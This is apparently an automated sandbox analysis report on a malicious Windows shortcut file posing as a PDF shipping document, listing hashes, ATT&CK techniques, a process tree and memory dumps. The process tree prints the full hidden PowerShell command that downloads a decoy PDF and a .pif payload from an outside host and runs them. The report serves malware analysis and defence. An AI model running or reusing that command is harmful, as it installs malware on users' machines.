0457b017454ce74f47f18b83fdf0af7e6b2f075eafa9f1a579068a8c440ecb46

Analysis

max time kernel
239s
max time network
243s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19/09/2024, 09:47

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General

Target

HBL10909LIT266NR5272RBL2021PRD66178278_LAX2778.PDF/HBL10909LIT266NR5272RBL2021PRD66178278_LAX2778.PDF.lnk
Size

2KB
MD5

b3173ef1cf4572a76e159dc513e3fc31
SHA1

dbb727b41a95e6976afb742741af16952467af00
SHA256

82277e734f339a7fce08aac2b342fae94e20f3349a568b839d39ccd3a81cc215
SHA512

3e479a063085634ccce4bd04645c16c61ef357f44a97a71be95abbed4e30eca27fe661e302e04f9d699dcf7454f6ee0b15304f02e49f7ad8d815db65b64f8909

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1920	powershell.exe
1920	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1920	2300	cmd.exe	31
PID 2300 wrote to memory of 1920	2300	cmd.exe	31
PID 2300 wrote to memory of 1920	2300	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\HBL10909LIT266NR5272RBL2021PRD66178278_LAX2778.PDF\HBL10909LIT266NR5272RBL2021PRD66178278_LAX2778.PDF.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri "http://tradimex.cc/eDVkOEaO/KD20240829230014246600006B6BA327.pdf" -OutFile "$env:TEMP\spoof.pdf"; Start-Process "$env:TEMP\spoof.pdf"; Start-Sleep -Seconds 20; Invoke-WebRequest -Uri "http://tradimex.cc/DgjopIWH/TJgGO5EprAaBIME.pif" -OutFile "$env:TEMP\target.pif"; Start-Process "$env:TEMP\target.pif""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1920-38-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

Filesize
4KB

Download
memory/1920-39-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1920-40-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/1920-41-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-42-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-43-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-44-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-45-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-46-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/1920-47-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

Filesize
4KB

Download
memory/1920-48-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download